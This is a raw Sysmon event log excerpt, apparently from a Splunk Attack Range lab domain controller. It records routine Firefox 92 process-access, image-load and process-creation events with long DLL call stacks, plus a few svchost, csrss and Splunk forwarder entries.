Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 734700x800000000000000050612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 10341000x800000000000000050611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+e3a04c|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+e39fc3|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000050602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+c1485|C:\Program Files\Mozilla Firefox\xul.dll+e39c9a|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exeMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4trueMozilla CorporationValid 10341000x800000000000000050600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47766152C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x101451C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+a0040f|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+16620b4|C:\Program Files\Mozilla Firefox\xul.dll+19c2585|C:\Program Files\Mozilla Firefox\xul.dll+13ca5|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+13388|C:\Program Files\Mozilla Firefox\xul.dll+9e92c1|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000050599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=034913585328122FEE2E2997176E1ECD,SHA256=E65711688E1722A3CFFF5D7688971735C0B45D5B88D1D80E7F7A1125A080C1D8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.008{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.008{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.008{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.008{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.008{7BD73061-6D0B-613B-7F06-00000000F001}36603632C:\Windows\system32\csrss.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000050593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.008{7BD73061-728D-613B-560B-00000000F001}47766696C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Program Files\Mozilla Firefox\firefox.exe+2f04d|C:\Program Files\Mozilla Firefox\firefox.exe+2e255|C:\Program Files\Mozilla Firefox\xul.dll+1fc619a|C:\Program Files\Mozilla Firefox\xul.dll+9fbdfa|C:\Program Files\Mozilla Firefox\xul.dll+9f9fc5|C:\Program Files\Mozilla Firefox\xul.dll+a0123e|C:\Program Files\Mozilla Firefox\xul.dll+8ab830|C:\Program Files\Mozilla Firefox\xul.dll+166f6b9|C:\Program Files\Mozilla Firefox\xul.dll+26d8a|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+8ae017|C:\Program Files\Mozilla Firefox\nss3.dll+77cbd|C:\Program Files\Mozilla Firefox\nss3.dll+8ec81|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000050592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.016{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc 